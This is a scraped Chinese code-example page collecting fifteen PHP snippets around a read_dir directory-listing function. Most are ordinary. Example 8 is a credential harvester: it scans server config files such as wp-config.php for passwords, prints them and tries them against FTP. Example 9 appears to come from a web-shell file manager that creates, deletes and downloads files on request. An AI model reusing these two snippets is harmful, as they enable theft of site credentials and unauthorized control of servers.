本文整理汇总了PHP中read_dir函数的典型用法代码示例。如果您正苦于以下问题：PHP read_dir函数的具体用法？PHP read_dir怎么用？PHP read_dir使用的例子？那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了read_dir函数的15个代码示例，这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞，您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: read_dir
function read_dir($dir)
{
if ($OpenDir = opendir($dir)) {
while (($file = readdir($OpenDir)) !== false) {
if ($file != "." && $file != "..") {
if (is_dir($dir . "/" . $file)) {
if (!is_readable($dir . "/" . $file)) {
error("нет прав для чтения текущий папки", $dir . "/" . $file);
} elseif (!is_writeable($dir . "/" . $file)) {
error("нет прав для записи в текущую папку", $dir . "/" . $file);
} else {
read_dir($dir . "/" . $file);
}
} else {
if (!is_readable($dir . "/" . $file)) {
error("нет прав для чтения файла", $dir . "/" . $file);
} elseif (!is_writeable($dir . "/" . $file)) {
error("нет прав для записи в файл", $dir . "/" . $file);
}
}
}
}
} else {
error("нет прав", $dir);
}
}示例2: get_all_messages
function get_all_messages()
{
// чтение списка файлов
$files = read_dir($this->data_dir);
if (count($files) == 0) {
return NULL;
}
// сортировка
rsort($files);
// список всех сообщений
$result = NULL;
// цикл считывания сообшщений из файлов
for ($file_idx = 0; $file_idx < count($files); ++$file_idx) {
$file = get_file($this->data_dir . "/" . $files[$file_idx]);
$item_res = explode($this->answ_separator, $file);
$item_res = explode($this->item_separator, $item_res[0]);
$result[$file_idx]["id"] = $files[$file_idx];
$result[$file_idx]["name"] = $item_res[0];
$result[$file_idx]["email"] = $item_res[1];
$result[$file_idx]["url"] = $item_res[2];
$result[$file_idx]["time"] = $item_res[3];
$result[$file_idx]["ip"] = $item_res[4];
$result[$file_idx]["text"] = $item_res[5];
}
return $result;
}示例3: read_dir
function read_dir($dir, &$dir_array, $root, &$html_lines)
{
global $link_array, $hot_array, $pop_array, $new_tools;
global $menu_name;
global $popular_access_dict;
$dir_list = get_valid_dir($dir);
if ($root == false && count($dir_list) != 0) {
array_push($html_lines, "<ul>");
}
foreach ($dir_list as $dir2) {
$path = $dir . "/" . $dir2;
if (!checkShow($path)) {
continue;
}
$dir_list2 = get_valid_dir($path);
if (count($dir_list2) == 0) {
$show_name = get_item_name($path);
array_push($html_lines, "<li><a href='' name='{$path}'><span class='item'>" . $show_name . "</span></a>");
$cnt = 0;
$tip_str = "";
if (array_key_exists($path, $popular_access_dict["hot"])) {
$cnt = $popular_access_dict["hot"][$path];
$tip_str = "点击次数:{$cnt}";
$show_name = "{$show_name}({$cnt})";
array_push($link_array[$menu_name], "<a class='btn btn-danger btn-xs' title='hot({$tip_str})' href='{$path}'>{$show_name}</a>");
array_push($hot_array, "<a class='btn btn-danger btn-xs' title='hot({$tip_str})' href='{$path}'>{$show_name}</a> ");
} elseif (array_key_exists($path, $popular_access_dict["good"])) {
$cnt = $popular_access_dict["good"][$path];
$tip_str = "点击次数:{$cnt}";
$show_name = "{$show_name}({$cnt})";
array_push($link_array[$menu_name], "<a class='btn btn-success btn-xs' title='popular({$tip_str})' href='{$path}'>{$show_name}</a>");
array_push($pop_array, "<a class='btn btn-success btn-xs' title='popular({$tip_str})' href='{$path}'>{$show_name}</a> ");
} else {
if (array_key_exists($path, $popular_access_dict["all"])) {
$cnt = $popular_access_dict["all"][$path];
}
$tip_str = "点击次数:{$cnt}";
$show_name = "{$show_name}({$cnt})";
array_push($link_array[$menu_name], "<a class='btn btn-link btn-xs' href='{$path}' title='{$tip_str}'>{$show_name}</a>");
}
$filetime = @filectime($path . "/index.html");
if (file_exists($path . "/index.php")) {
$filetime = @filectime($path . "/index.php");
}
$mtime = date("F d Y H:i:s.", $filetime);
$new_tools[$filetime] = "<a class='btn btn-info btn-xs' title='hot({$tip_str}, {$mtime})' href='{$path}'>{$show_name}</a> ";
} else {
array_push($html_lines, "<li><a href='' class='parent' name='{$path}'><span class='item'>" . get_item_name($path) . "</span></a>");
}
$dir_array[$dir2] = array();
read_dir($path, $dir_array[$dir2], false, $html_lines);
array_push($html_lines, "</li>");
}
if ($root == false && count($dir_list) != 0) {
array_push($html_lines, "</ul>");
}
}示例4: ls
function ls($arg = 'all')
{
global $src_dir;
global $src_url;
if ($arg != 'all') {
if (eregi("[1-9]+[0-9]*", $arg)) {
$number_of_releases = $arg;
} elseif (substr($arg, 0, 1) == '.') {
$allowed_extention = $arg;
}
}
$src_array = read_dir($src_dir);
for ($i = 0; $i < sizeof($src_array); $i++) {
$_ = explode('.', $src_array[$i]);
$src_unique[$_[0]] .= $src_array[$i] . "\n";
}
$release = array_keys($src_unique);
if (!isset($number_of_releases)) {
$number_of_releases = sizeof($release);
}
for ($i = 0; $i < $number_of_releases; $i++) {
$_ = trim($src_unique[$release[$i]]);
$file = explode("\n", $_);
for ($j = 0; $j < sizeof($file); $j++) {
$offset = strlen($release[$i]) - strlen($file[$j]);
$ext = substr($file[$j], $offset);
if ($ext == '.xml') {
// release changes >>
$changes = trim(get_tag(read_file($src_dir . $file[$j]), 'changes'));
} else {
// downloadable files >>
if (isset($allowed_extention)) {
if ($ext == $allowed_extention) {
$link[] = '<a href="/get/' . $file[$j] . '">' . $file[$j] . '</a>';
}
} else {
$link[] = '<a href="/get/' . $file[$j] . '">' . $file[$j] . '</a>';
}
}
}
if (sizeof($link) > 0) {
sort($link);
reset($link);
if ($changes != '') {
$changes = "<p>Changes:</p>\n" . $changes . "\n";
}
$ls[] = "<p><strong>" . $release[$i] . "</strong></p>\n" . $changes . "<p>Download:</p>\n<ul>\n<li>" . implode("<br></li>\n<li>", $link) . "<br></li>\n</ul>\n";
}
unset($changes);
unset($link);
}
if (sizeof($ls) > 0) {
$out = "<!-- downloadable files >> -->\n" . implode('', $ls) . "<!-- downloadable files << -->\n";
}
return $out;
}示例5: run
public function run()
{
$faker = Faker::create();
$count = 50;
$ids = Estate::lists('estate_id');
$images = read_dir(dir_path('estates'));
$images = array_values(array_diff($images, ['alien.png']));
for ($i = 0; $i < $count; $i++) {
Image::create(['image' => $images[$i], 'estate_id' => $faker->randomElement($ids), 'preview' => $faker->boolean(30)]);
}
}示例6: plug_backup_msql
function plug_backup_msql()
{
require 'plug/tar.php';
$f = 'plug/_data/msql_backup_' . date('ymd', time()) . '.tar.gz';
//unlink($f);
$r = read_dir('msql');
//p($r);
if (auth(6)) {
tar($f, $r);
}
if (is_file($f)) {
return lkt('txtyl', $f, $f);
} else {
return 'brrrr';
}
}示例7: read_dir
function read_dir($dir)
{
$array = array();
$d = dir($dir);
while (false !== ($entry = $d->read())) {
if ($entry != '.' && $entry != '..') {
$entry = $entry;
if (is_dir($entry)) {
//$array[] = $entry;
$array = array_merge($array, read_dir($entry));
} else {
$array[] = $entry;
}
}
}
$d->close();
return $array;
}示例8: read_dir
function read_dir($path, $username)
{
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath = "{$path}{$file}";
if ($file != '.' and $file != '..') {
if (is_readable($fpath)) {
$dr = "{$fpath}/";
if (is_dir($dr)) {
read_dir($dr, $username);
} else {
if ($file == 'config.php' or $file == 'config.inc.php' or $file == 'db.inc.php' or $file == 'connect.php' or $file == 'wp-config.php' or $file == 'var.php' or $file == 'configure.php' or $file == 'db.php' or $file == 'db_connect.php') {
$pass = get_pass($fpath);
if ($pass != '') {
echo "[+] {$fpath}\n{$pass}\n";
ftp_check($username, $pass);
}
}
}
}
}
}
}
}示例9: list_dir
function list_dir($d)
{
global $HTTP_REFERER;
if (isset($_POST['b_up']) or isset($_POST['b_open_dir'])) {
chdir($_POST['fname']);
$d = getcwd();
} else {
$d = getcwd();
}
if ($_POST['b_new_dir']) {
mkdir($_POST['new']);
chmod($_POST['new'], 0777);
$d = $_POST['new'];
}
if ($_POST['b_del'] and is_dir($_POST['fname'])) {
rmdir($_POST['fname']);
chdir($_POST['dname']);
$d = getcwd();
}
if ($_POST['b_del'] and !is_dir($_POST['fname'])) {
unlink($_POST['fname']);
chdir($_POST['dname']);
$d = getcwd();
}
if ($_POST['b_change_dir']) {
chdir($_POST['change_dir']);
$d = getcwd();
}
if ($_POST['b_new_file'] or $_POST['b_open_file']) {
chdir($_POST['dname']);
$d = getcwd();
}
$dir = read_dir($d);
$dir = sortbyname($dir, $d);
$count = count($dir);
echo "<form action=\"" . $HTTP_REFERER . "\" method=\"POST\" enctype=\"multipart/form-data\">";
echo "<input type=\"hidden\" value='" . $r_act . "' name=\"r_act\">";
echo "<table BORDER=1 align=center>";
echo "<tr bgcolor=#ffff00><td alling=\"center\"><b>Navigation</b></td></tr>";
if (is_writable($d)) {
echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"{$d}\" name=\"new\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"NewDir\" name=\"b_new_dir\"></td>";
echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"NewFile\" name=\"b_new_file\"></td></tr>";
}
echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"{$d}\" name=\"change_dir\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"ChangeDir\" name=\"b_change_dir\"></td></tr>";
if (!$safe_mode) {
echo "<tr><td alling=\"center\"><input style='width:200px;' type=\"text\" value=\"\" name=\"ffile\"></td><td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"FindeFile\" name=\"b_f_file\"></td></tr>";
}
echo "</table></form>";
echo "<table CELLPADDING=0 CELLSPACING=0 bgcolor=#98FAFF BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>";
echo "<tr bgcolor=#ffff00><td><b> Directory </b></td><td alling=\"center\"><b> Permission </b></td><td alling=\"center\"><b> Size </b></td><td alling=\"center\"><b> Owner/Group </b></td><td alling=\"center\"><b> Action </b></td>";
for ($i = 0; $i < $count; $i++) {
if ($dir[$i] != "") {
$full = $d . "/" . $dir[$i];
$perm = permissions(fileperms($full), $dir[$i]);
$file = $d . "/" . $dir[$i];
echo "<form action=\"" . $HTTP_REFERER . "\" method=\"POST\" enctype=\"multipart/form-data\">";
if (is_dir($file)) {
echo "<tr bgcolor=#98FA00><td>" . $dir[$i] . " </td><input type=\"hidden\" value='" . $d . "' name=\"dname\"><input type=\"hidden\" value='" . $file . "' name=\"fname\"><td alling=\"center\">" . $perm . " </td><td alling=\"center\">" . filesize($dir[$i]) . " </td><td alling=\"center\"> " . fileowner($dir[$i]) . " " . filegroup($dir[$i]) . " </td>";
} elseif (is_file($file)) {
echo "<tr><td>" . $dir[$i] . " </td><input type=\"hidden\" value='" . $d . "' name=\"dname\"><input type=\"hidden\" value='" . $file . "' name=\"fname\"><td alling=\"center\">" . $perm . " </td><td alling=\"center\">" . filesize($dir[$i]) . " </td><td alling=\"center\"> " . fileowner($dir[$i]) . " " . filegroup($dir[$i]) . " </td>";
} else {
echo "<tr bgcolor=#ffff00><td>" . $dir[$i] . " </td><input type=\"hidden\" value='" . $d . "' name=\"dname\"><input type=\"hidden\" value='" . $file . "' name=\"fname\"><td alling=\"center\">" . $perm . " </td><td alling=\"center\">" . filesize($dir[$i]) . " </td><td alling=\"center\"> " . fileowner($dir[$i]) . " " . filegroup($dir[$i]) . " </td>";
}
if (is_dir($file)) {
echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Listing\" name=\"b_open_dir\"></td>";
} elseif (is_readable($file)) {
echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Open\" name=\"b_open_file\"></td>";
}
if (is_writable($file) and $file != "..") {
echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Delete\" name=\"b_del\"></td>";
}
if (is_readable($file) and !is_dir($file)) {
echo "<td alling=\"center\"><input style='width:100px;' type=\"submit\" value=\"Download\" name=\"b_down\"></td>";
}
echo "<input type=\"hidden\" value='" . $r_act . "' name=\"r_act\"></tr>";
echo "</form>";
}
}
echo "</table>";
closedir($d);
}示例10: fopen
$filePath = '';
}
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'POST') {
$newsfile = $_POST['file_edit'];
$n = fopen($newsfile, 'w');
if (get_magic_quotes_gpc()) {
$res = fwrite($n, stripslashes($_POST[$reqType]));
} else {
$res = fwrite($n, $_POST[$reqType]);
}
$res = fclose($n);
}
// @author giorgio 08/mag/2013
// this must be here to list newly created files possibly generated
// when handling $_POST datas.
$files_news = read_dir(ROOT_DIR . $filePath . '/docs/' . $reqType, 'txt');
//print_r($files_news);
$codeLang = isset($_GET['codeLang']) ? $_GET['codeLang'] : null;
if (!isset($op)) {
$op = null;
}
switch ($op) {
case 'edit':
$newsmsg = array();
// @author giorgio 08/mag/2013
// builds something like docs/news/news_it.txt
$fileToOpen = ROOT_DIR . $filePath . '/docs/' . $reqType . '/' . $reqType . '_' . $codeLang . '.txt';
$newsfile = $fileToOpen;
if ($fid = @fopen($newsfile, 'r')) {
if (!isset($newsmsg[$reqType])) {
$newsmsg[$reqType] = '';示例11: define
define('API_DIR', '/Users/featherless/Sites/three20/api/');
define('API_SEARCH_DIR', API_DIR . 'search/');
function read_dir($dir)
{
$filenames = array();
$directory = opendir($dir);
while ($filename = readdir($directory)) {
if ($filename[0] != '.') {
$filenames[] = $filename;
}
}
closedir($directory);
return $filenames;
}
$searchFilenames = read_dir(API_SEARCH_DIR);
// Now that we have all of the search index files, let's split them apart by index type.
$indexFilenames = array();
foreach ($searchFilenames as $filename) {
$info = pathinfo($filename);
if ($info['extension'] == 'html') {
$underscorePosition = strpos($filename, '_');
if ($underscorePosition !== FALSE) {
$index = substr($filename, 0, $underscorePosition);
if (empty($indexFilenames[$index])) {
$indexFilenames[$index] = array();
}
$indexFilenames[$index][] = $filename;
}
}
}示例12: issimple_readdir
/**
* Função para leitura de diretórios
*
* @since IS Simple 1.0
* ============================================================================
*/
function issimple_readdir($dir, $type = FALSE)
{
$files = array();
$ds = DIRECTORY_SEPARATOR;
// Se não existir o diretório...
if (!is_dir($dir)) {
return false;
}
// Abrindo diretório...
$odir = @opendir($dir);
// Se falhar ao abrir o diretório...
if (!$odir) {
return false;
}
// Construindo o array de arquivos...
while (($file = readdir($odir)) !== false) {
// Ignora os resultados "." e ".." ...
if ($file == '.' || $file == '..') {
continue;
}
$slug = explode('.', $file);
$ext = count($slug) == 1 ? 'dir' : end($slug);
// Extensão do arquivo
$path = count($slug) == 1 ? $dir . $file . $ds : $dir . $file;
// Caminho do arquivo
$slug = str_replace('.' . $ext, '', $file);
// Nome do arquivo
if (is_dir($path)) {
$files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path, 'files' => read_dir($path, $type));
continue;
}
// Pegar todos os arquivos
if (empty($type)) {
$files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path);
continue;
}
// Pegar apenas os diretórios
if ($type === 1) {
if (is_dir($path)) {
$files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path, 'files' => read_dir($dir, $type));
}
continue;
}
// Se $type for um array
if (is_array($type)) {
if (in_array($ext, $type)) {
$files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path);
}
continue;
}
// Se $type for uma string
if ($ext == $type) {
$files[$slug] = array('type' => $ext, 'name' => $slug, 'path' => $path);
continue;
}
}
// Fechando diretório...
closedir($odir);
return $files;
}示例13: date_default_timezone_set
if (!isset($config_ban_attempts)) {
$config_ban_attempts = 3;
}
// adjust timezone
if (function_exists('date_default_timezone_set')) {
date_default_timezone_set(empty($config_timezone) ? 'Europe/London' : $config_timezone);
}
// embedded code no send codes
if (empty($NotHeaders) && $config_useutf8 == '1') {
header('Content-Type: text/html; charset=UTF-8', true);
header('Accept-Charset: UTF-8', true);
}
// loading plugins
$_HOOKS = array();
if (is_dir(SERVDIR . '/cdata/plugins')) {
foreach (read_dir(SERVDIR . '/cdata/plugins', array(), false) as $plugin) {
if (preg_match('~\\.php$~i', $plugin)) {
include SERVDIR . $plugin;
}
}
}
// load config
if (file_exists(SERVDIR . CACHE . '/conf.php')) {
$cfg = unserialize(str_replace("<?php die(); ?>\n", '', implode('', file(SERVDIR . CACHE . '/conf.php'))));
} else {
$cfg = array();
}
// initialize mod_rewrite if present
if ($config_use_replacement && file_exists(SERVDIR . '/cdata/conf_rw.php')) {
include SERVDIR . '/cdata/conf_rw.php';
} else {示例14: read_dir
/**
* 递归读取目录下所有文件(含目录全路径)自动过滤.和..
* <code>
* print_r(read_dir(APP_PATH));
* </code>
* @param array $dir 需要读取的目录路径
* @param array $clean 是否清除上次读取，默认true，此参数系统内部调用，无需修改
* @return bool/array 成功返回目录下所有文件一维数组，失败返回false
*/
function read_dir($dir, $clean = true)
{
static $dirArr = array();
if ($clean) {
$dirArr = array();
}
$dir = trim($dir);
if (!is_dir($dir)) {
return false;
}
//补全后面的/
if (substr($dir, -1) != '/') {
$dir .= '/';
}
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== false) {
if ('.' == $file || '..' == $file) {
continue;
}
if (is_file($dir . $file)) {
$dirArr[] = $dir . $file;
} else {
read_dir($dir . $file . '/', false);
}
}
closedir($dh);
}
return $dirArr;
}示例15: form_addcourse
//.........这里部分代码省略.........
for ($i = 0; $i < $max; $i++) {
//if (($layout_OK[$i]!='.') && ($layout_OK[$i]!='..'))
if ($i != $max - 1) {
$val_sel .= $layout_OK[$i] . ":";
} else {
$val_sel .= $layout_OK[$i];
}
}
// $layout_OK [] = "";
$fields["add"][] = "course[layout]";
$names["add"][] = "Layout: {$val_sel}";
$edittypes["add"][] = "select";
$necessary["add"][] = "";
$values["add"][] = $course['layout'];
$options["add"][] = $val_sel;
$maxsize["add"][] = 20;
// id_nodo_toc
$fields["add"][] = "course[id_nodo_toc]";
$names["add"][] = "id_nodo_toc";
$edittypes["add"][] = "text";
$necessary["add"][] = "";
$values["add"][] = "";
$options["add"][] = "";
$maxsize["add"][] = "";
// id_nodo_iniziale
$fields["add"][] = "course[id_nodo_iniziale]";
$names["add"][] = "id_nodo_iniziale";
$edittypes["add"][] = "text";
$necessary["add"][] = "";
$values["add"][] = "";
$options["add"][] = "";
$maxsize["add"][] = "";
// file XML possibili
// vito, 15 giugno 2009
$message = "";
if ($is_author && (int) $_GET['modello'] == 1) {
$course_models = read_dir(AUTHOR_COURSE_PATH_DEFAULT, 'xml');
/*
* vito, 30 mar 2009
* Decomment the following lines (those after the comment SEARCH INTO AUTHOR'S UPLOAD DIR)
* to enable searching for course models into author's
* upload dir in addition to those stored into AUTHOR_COURSE_PATH_DEFAULT dir.
*
* It is necessary to handle this change in admin/author_course_xml_to_db_process.php:
* now it builds the root dir relative position for the given xml file by prefixing it
* with AUTHOR_COURSE_PATH_DEFAULT. If we allow searching into the author's upload dir
* we have to avoid adding this prefix because the filename will be already a root dir
* relative filename.
*
* If an author wants to create a new course based on an existing course model,
* show him the course models in the course model repository, (common to all authors) and
* the ones he has uploaded, stored in UPLOAD_PATH/<authorid>.
* Otherwise, if an admin wants to create a course from an existing model, show him only the
* course models stored in the course model repository.
*/
// SEARCH INTO AUTHOR'S UPLOAD DIR
// if (!is_array($course_models)) {
// $course_models = array();
// }
// if ($is_author) {
// $authors_uploaded_files = UPLOAD_PATH.$authors_ha[0][0];
// $authors_course_models = read_dir($authors_uploaded_files, 'xml');
// $course_models = array_merge($course_models, $authors_course_models);
// }
$num_files = 0;
if (is_array($course_models)) {
$num_files = sizeof($course_models);
}
$val_sel = '';
$label_sel = '';
if ($num_files > 0) {
foreach ($course_models as $value) {
//vito, 30 mar 2009
// SEARCH INTO AUTHOR'S UPLOAD DIR
//$val_sel.=$value['path_to_file'].":";
$val_sel .= $value['file'] . ":";
$label_sel .= ":" . $value['file'];
}
$val_sel = substr($val_sel, 0, -1);
// vito, 12 giugno 2009
//}
//if ($is_author AND ((int)$_GET['modello'])==1) {
$fields["add"][] = "course[xml]";
$names["add"][] = "XML" . $label_sel;
$edittypes["add"][] = "select";
$necessary["add"][] = "";
$values["add"][] = "";
$options["add"][] = $val_sel;
$maxsize["add"][] = "";
//}
} else {
$message = translateFN("Non sono presenti modelli di corso. E' comunque possibile creare un corso vuoto.");
}
}
// creazione del form
$str = MakeForm($fields, $names, $edittypes, $necessary, $values, $options, $maxsize, $file_action, "add", false, true);
// scrittura stringa back
// $str .= $this->go_file_back($file_back,"Home");
return $message . $str;
}